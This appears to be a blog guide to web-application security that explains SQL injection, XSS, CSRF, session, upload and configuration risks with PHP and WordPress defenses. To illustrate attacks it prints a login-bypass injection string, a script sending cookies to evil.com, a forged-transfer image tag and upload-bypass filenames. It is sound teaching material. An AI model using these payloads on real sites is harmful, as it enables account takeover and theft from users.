Early in my development career, I built a contact form that worked perfectly—until I discovered
someone was using it to send spam through my server. The form accepted user input and sent emails
exactly as designed. What I hadn’t considered was that the input could contain email headers,
turning my innocent form into an open mail relay. That was my first real lesson in web security:
features that work correctly can still be exploited.
Web security isn’t about paranoia or implementing every possible protection. It’s about understanding
how attacks actually work and implementing proportionate defenses. Most successful attacks exploit a
small set of common vulnerabilities that have well-established solutions. Master these fundamentals
and you’ve addressed the vast majority of real-world threats.
This guide covers the major categories of web security threats I’ve encountered over years of
building and securing web applications. For each threat, you’ll understand how the attack works, why
it’s dangerous, and how to defend against it with practical code examples. Whether you’re building
WordPress plugins, custom applications, or anything in between, these principles apply universally.
SQL Injection: The Database Attack
SQL injection has been the most damaging web vulnerability for decades, and despite being completely
preventable, it still appears regularly in security breach reports. The attack is simple in concept:
an attacker provides input that, when inserted into a SQL query, changes what the query does.
How SQL Injection Works
Consider a login form that checks username and password against a database. Vulnerable code might
construct the query like this: SELECT * FROM users WHERE username = ‘entered_username’ AND password
= ‘entered_password’. If the user enters a normal username, this works correctly.
But if the attacker enters admin’– as the username, the query becomes: SELECT * FROM users WHERE
username = ‘admin’–‘ AND password = ‘whatever’. The double dash (–) starts a SQL comment, ignoring
everything after it including the password check. The query now returns the admin user regardless of
password.
That’s a simple example. Sophisticated attacks can extract entire databases, modify data, or even
execute system commands depending on database configuration. I’ve seen attacks that dumped thousands
of customer records through a single vulnerable search field.
The Damage Potential
SQL injection can compromise confidentiality (reading data you shouldn’t), integrity (modifying
data), and availability (deleting data or crashing the database). Attackers can:
Extract sensitive data including passwords, credit cards, personal information—everything the
database contains. Even if passwords are hashed, the hashes can be cracked offline.
Modify data including prices, account balances, user permissions. An attacker might make themselves
an administrator or change a product price to $0.
Delete data including entire tables or databases. Destructive attacks might be done for ransom or
simply for damage.
Access the underlying server in some configurations, executing system commands through database
functions like xp_cmdshell (SQL Server) or LOAD_FILE (MySQL).
The Defense: Parameterized Queries
The solution is simple and absolute: never build SQL queries by concatenating user input. Use
parameterized queries (prepared statements) where the query structure is defined separately from the
data.
With parameterized queries, the database knows which parts are SQL code and which parts are data.
User input is always treated as data, never as code, making injection impossible.
In PHP with PDO, a secure query looks like: $stmt = $pdo->prepare(“SELECT * FROM users WHERE username
= ? AND password = ?”); followed by $stmt->execute([$username, $password]). The question marks are
placeholders; the actual values are passed separately and never interpreted as SQL.
In WordPress, always use $wpdb->prepare(): $results = $wpdb->get_results($wpdb->prepare(“SELECT *
FROM {$wpdb->prefix}posts WHERE post_author = %d”, $author_id)). The %d placeholder indicates an
integer; %s is for strings. WordPress handles the escaping automatically.
The key is consistency. One vulnerable query in your entire application is enough for a complete
compromise. Every database query that incorporates user input must use parameterized queries.
Additional SQL Injection Protections
While parameterized queries are the primary defense, layered security adds additional protection:
Validate input before it reaches the database. If you’re expecting a numeric ID, verify it’s numeric.
If you’re expecting an email, validate the format. This catches mistakes and reduces attack surface.
Use least privilege database accounts. Your application’s database user should have only the
permissions it needs. If it only needs SELECT and INSERT, don’t grant DELETE. If the application is
compromised, damage is limited.
Web Application Firewalls (WAFs) can catch obvious injection attempts. They’re not a substitute for
secure coding but provide an additional layer that blocks automated attacks and gives you time to
patch vulnerabilities.
Cross-Site Scripting (XSS): The Browser Attack
If SQL injection attacks your server, XSS attacks your users. Attackers inject malicious JavaScript
that runs in victims’ browsers, stealing sessions, credentials, or personal data.
Understanding XSS Types
Stored XSS is the most dangerous variant. Malicious script is saved in your database—perhaps through
a comment field or profile—and served to every user who views that content. One malicious comment on
a popular page could compromise thousands of users.
Reflected XSS involves malicious script in a URL parameter that’s reflected in the page without
proper encoding. The attacker crafts a malicious link and tricks users into clicking it. The page
reflects their input unsafely, executing the script.
DOM-based XSS happens entirely in the browser when JavaScript reads untrusted data and inserts it
unsafely into the page. The server might never see the malicious input; it all happens client-side.
A Real XSS Attack Scenario
Imagine a forum that displays usernames without encoding. An attacker registers with the username:
John
document.location = ‘http://evil.com/steal?c=’ + document.cookie. Every time their
“name” appears on a page—in posts, in the member list, anywhere—that script runs in viewers’
browsers.
The script sends each victim’s session cookie to the attacker’s server. With those cookies, the
attacker can impersonate users, accessing their accounts without knowing their passwords. On a
banking site, that could enable fraudulent transactions. On a social site, it could spread malware
through trusted accounts.
Primary Defense: Output Encoding
The core defense is encoding output so that HTML special characters are displayed as text rather than
interpreted as code. When you display user-provided content, encode it appropriately for the
context.
In PHP, use htmlspecialchars() for HTML content: echo htmlspecialchars($user_input, ENT_QUOTES,
‘UTF-8’). This converts to >, ” to ", and so on. Scripts become visible text
rather than executable code.
In WordPress, use the appropriate escape function. esc_html() for content displayed between tags.
esc_attr() for HTML attributes. esc_url() for URLs. esc_js() for JavaScript strings. Using the wrong
function for the context can leave vulnerabilities.
In JavaScript, use textContent instead of innerHTML when inserting text: element.textContent =
userInput. This treats input as text, never as HTML. If you must use innerHTML, sanitize the input
first with a library like DOMPurify.
Content Security Policy
Content Security Policy (CSP) provides a powerful second layer of defense. It tells browsers which
content sources are legitimate, blocking unauthorized scripts even if they’re injected into your
pages.
A strict CSP header like Content-Security-Policy: script-src ‘self’ blocks all inline scripts and
only allows scripts from your own domain. Even if an attacker injects a script, the browser refuses
to run it.
Implementing CSP can be challenging if your site uses inline scripts or third-party resources. Start
with a report-only mode that logs violations without blocking: Content-Security-Policy-Report-Only.
Fix the reported issues, then switch to enforcement mode.
Cross-Site Request Forgery (CSRF): The Session Attack
CSRF exploits the trust your server places in authenticated browsers. If a user is logged into your
site and visits a malicious page, that page can trigger actions on your site using the user’s
authenticated session.
How CSRF Works
Consider a banking site where transfers are initiated with a GET request:
bank.com/transfer?to=recipient&amount=1000. If a logged-in user visits a malicious page containing
an image tag: <img src=”http://bank.com/transfer?to=attacker&amount=1000″>, their browser
sends the request with their session cookies. The bank processes the transfer as a legitimate
authenticated request.
POST requests aren’t safe either. Malicious JavaScript can submit forms to your site, carrying the
user’s cookies. Any action that a user can perform with a simple request can be forged.
CSRF Attack Scenarios
I’ve seen CSRF used to change email addresses on accounts (enabling password reset to
attacker-controlled email), add administrator accounts to CMSs, initiate money transfers, post
content as the victim, and change account passwords. Any authenticated action is potentially
vulnerable.
Defense: CSRF Tokens
The standard defense is including a secret token with each form that the attacker can’t guess. The
server generates a random token, stores it in the session, and includes it as a hidden form field.
When the form is submitted, the server verifies the token matches what’s in the session.
Since the attacker can’t read cross-domain responses (due to same-origin policy), they can’t obtain
the token. Their forged requests lack valid tokens and get rejected.
Implementation in PHP: Generate a token with $_SESSION[‘csrf_token’] = bin2hex(random_bytes(32)).
Include it in forms: <input type=”hidden” name=”csrf_token” value=”the_token_value”>. Verify
on submission: if (!hash_equals($_SESSION[‘csrf_token’], $_POST[‘csrf_token’])) { die(‘Invalid
token’); }.
WordPress has built-in CSRF protection via nonces. Create with wp_nonce_field(‘my_action’,
‘my_nonce’) in forms, or wp_create_nonce(‘my_action’) for AJAX. Verify with
wp_verify_nonce($_POST[‘my_nonce’], ‘my_action’).
Additional CSRF Protections
SameSite cookie attribute prevents cookies from being sent with cross-origin requests. Set session
cookies with SameSite=Lax or SameSite=Strict to block most CSRF attacks at the browser level.
Re-authentication for sensitive actions adds another layer. Changing passwords, email addresses, or
making financial transactions should require entering the current password even if the session is
valid.
Authentication and Session Security
Authentication systems are high-value targets. Compromising login systems provides access to user
accounts without exploiting other vulnerabilities.
Brute Force and Credential Stuffing
Brute force attacks try many password combinations rapidly. Without rate limiting, attackers can test
thousands of passwords per hour. Simple passwords fall quickly to dictionary attacks.
Credential stuffing uses username/password pairs from other breached sites. Since users often reuse
passwords, compromised credentials from one site work on others. Major breaches have exposed
billions of credentials available to attackers.
Defense against these attacks requires rate limiting—perhaps five failed attempts trigger a delay or
CAPTCHA. Account lockout after many failures stops ongoing attacks but can enable denial-of-service.
Progressive delays (exponential backoff) balance security with availability.
Checking passwords against known breached databases (via services like Have I Been Pwned) prevents
users from choosing already-compromised passwords.
Session Security
Sessions identify authenticated users across requests. Stolen session cookies let attackers
impersonate users without knowing their passwords.
Secure session cookies with appropriate flags: HttpOnly prevents JavaScript access (protecting
against XSS theft). Secure ensures cookies only transmit over HTTPS. SameSite restricts cross-origin
sending.
Regenerate session IDs after login. This prevents session fixation attacks where attackers trick
users into authenticating with a known session ID. PHP: session_regenerate_id(true) creates a new ID
while maintaining session data.
Set reasonable session timeouts. Long-lived sessions are convenient but increase exposure window if a
device is compromised or shared. Sensitive applications might timeout after 15 minutes of
inactivity.
Password Storage
Never store passwords in plain text or with reversible encryption. Always use strong one-way hashing
with unique salts.
PHP’s password_hash() and password_verify() functions handle this correctly by default, using bcrypt
with automatic salt generation. WordPress’s wp_hash_password() similarly provides secure storage.
The hash makes passwords unreadable in database breaches. Even if attackers get the database, they
must crack each hash individually—a process that takes significant time with strong hashing.
File Upload Vulnerabilities
File uploads are high-risk features. If attackers can upload executable files to your server, they
can run arbitrary code.
Attack Vectors
The classic attack uploads a PHP file (like shell.php) that, when accessed via URL, executes attacker
commands on your server. Full server compromise from a simple upload form.
Attackers bypass naive protections through double extensions (shell.php.jpg), null bytes
(shell.php%00.jpg in older systems), or MIME type spoofing (PHP file with image/jpeg Content-Type).
Secure File Upload Implementation
Validate file type by checking actual content, not user-provided information. Use PHP’s finfo
extension to detect MIME type from file contents: $finfo = new finfo(FILEINFO_MIME_TYPE); $mime =
$finfo->file($_FILES[‘upload’][‘tmp_name’]). Compare against a whitelist of allowed types.
Generate new filenames rather than using user-provided names. User filenames can contain path
traversal (../../) or other malicious strings. Generate a random name and keep only an approved
extension.
Store uploads outside web root if possible, serving them through a script that controls access and
prevents direct execution. If uploads must be in web root, configure the server to never execute
scripts from the upload directory.
Scan uploaded files for malware if your application accepts files that will be downloaded by other
users. ClamAV or commercial scanning APIs catch known malicious files.
Security Misconfiguration
Many security issues arise not from code vulnerabilities but from configuration mistakes—default
settings, exposed information, or missing security measures.
Common Misconfigurations
Debug mode in production exposes stack traces, internal paths, and variable contents to users.
Attackers use this information to understand your application structure and find vulnerabilities.
Default credentials on admin panels, databases, or developer tools are the easiest attack vector.
Automated scanners continuously check for default logins.
Directory listing enabled lets attackers browse your file structure, finding backup files,
configuration files, or other sensitive content you didn’t intend to expose.
Verbose error messages reveal implementation details. “Invalid username” versus “Invalid password”
tells attackers which accounts exist. SQL errors reveal database structure.
WordPress Security Hardening
WordPress-specific hardening includes: Set WP_DEBUG to false in production. Set DISALLOW_FILE_EDIT to
true to prevent code editing through admin. Hide WordPress version by removing the generator tag.
Block direct access to wp-config.php and other sensitive files through server configuration.
Keep WordPress core, themes, and plugins updated. Most WordPress compromises exploit known
vulnerabilities in outdated software. Automatic updates for minor releases balance security with
stability.
Sensitive Data Exposure
Inadequate protection of sensitive data leads to breaches even without traditional “hacking.”
Common Exposure Scenarios
Transmitting data over HTTP (not HTTPS) allows network interception. Public WiFi users can have
credentials stolen by anyone on the same network. Always use HTTPS for everything, not just login
pages.
API keys and secrets in source code end up in version control, potentially exposed if repositories
are public or compromised. Use environment variables or secrets management systems.
Backup files accessible via web (database.sql.bak, wp-config.php.old) expose complete databases or
credentials. Block access to backup files through server configuration.
Logs containing sensitive data (passwords in query strings, credit card numbers) persist longer than
intended. Audit what you log and sanitize sensitive data before logging.
Data Protection Best Practices
Encrypt sensitive data at rest, not just in transit. Database encryption, field-level encryption for
especially sensitive data, and encrypted backups protect against storage-level breaches.
Minimize data collection. Data you don’t have can’t be breached. Question whether you really need to
store credit cards, social security numbers, or other sensitive information.
Implement proper access controls internally. Not every employee needs access to all customer data.
Audit logs track who accesses what data.
Dependency Vulnerabilities
Your application’s security depends on the security of everything it uses—frameworks, libraries,
plugins. A vulnerability in a dependency is a vulnerability in your application.
The Supply Chain Risk
Outdated plugins with known vulnerabilities are the most common WordPress attack vector. Attackers
don’t need to find new vulnerabilities; they simply target sites running vulnerable versions of
popular plugins.
npm/composer packages can be compromised through typosquatting (malicious packages with similar
names), account compromise (legitimate packages updated with malware), or dependency confusion.
Abandoned projects stop receiving security patches. If the library you depend on isn’t maintained,
vulnerabilities discovered after abandonment remain unfixed.
Managing Dependency Risk
Keep dependencies updated. Automated tools like Dependabot, Snyk, or Wordfence (for WordPress) alert
you to known vulnerabilities. Apply security patches promptly.
Audit dependencies periodically. Remove unused packages. Evaluate whether each dependency is actively
maintained. Consider alternatives for abandoned projects.
Monitor security advisories for technologies you use. WordPress vulnerabilty databases, npm security
advisories, and CVE databases track known issues.
Security Headers
HTTP security headers instruct browsers to enable security features. They’re easy to implement and
provide meaningful protection.
Essential Security Headers
Content-Security-Policy controls which content sources browsers accept. Even a basic policy blocking
inline scripts significantly reduces XSS impact.
Strict-Transport-Security (HSTS) ensures browsers always use HTTPS, preventing downgrade attacks.
Once set, browsers refuse HTTP connections for the specified duration.
X-Content-Type-Options: nosniff prevents browsers from MIME-type sniffing, which could interpret
uploaded content as executable scripts.
X-Frame-Options: DENY prevents clickjacking by blocking your site from being framed on other sites.
Referrer-Policy controls what referrer information is sent with requests, preventing leakage of
sensitive URLs to third parties.
Defense in Depth
No single protection is perfect. Defense in depth assumes any layer might fail and ensures multiple
layers must fail for an attack to succeed.
Layered Security Model
Network layer: Firewall rules limiting access, DDoS protection, WAF blocking obvious attacks.
Server layer: Patched operating system, minimal services running, proper permissions, security
headers.
Application layer: Input validation, output encoding, parameterized queries, CSRF tokens,
authentication controls.
Data layer: Encryption at rest and in transit, minimal collection, proper access controls, secure
backups.
Monitoring layer: Logging, intrusion detection, regular security audits, incident response
procedures.
When the WAF fails to block an attack, input validation catches it. When validation is bypassed,
parameterized queries prevent SQL injection. Multiple layers working together provide robust
protection.
Conclusion
Web security fundamentals—preventing SQL injection, XSS, CSRF, and authentication attacks—address the
vast majority of real-world threats. Master these basics before pursuing exotic protections.
The principles are consistent: never trust user input, always encode output, use tokens for
state-changing actions, protect sessions, validate everything. Apply them consistently across your
entire application; one vulnerable point undermines everything else.
Security is ongoing, not one-time. Keep dependencies updated, monitor for new vulnerabilities, and
audit periodically. The threat landscape evolves, and your defenses must evolve with it.
Start with the fundamentals in this guide. Implement them correctly and consistently, and you’ll have
addressed most of what attackers actually exploit in the real world.
admin
Tech enthusiast and content creator.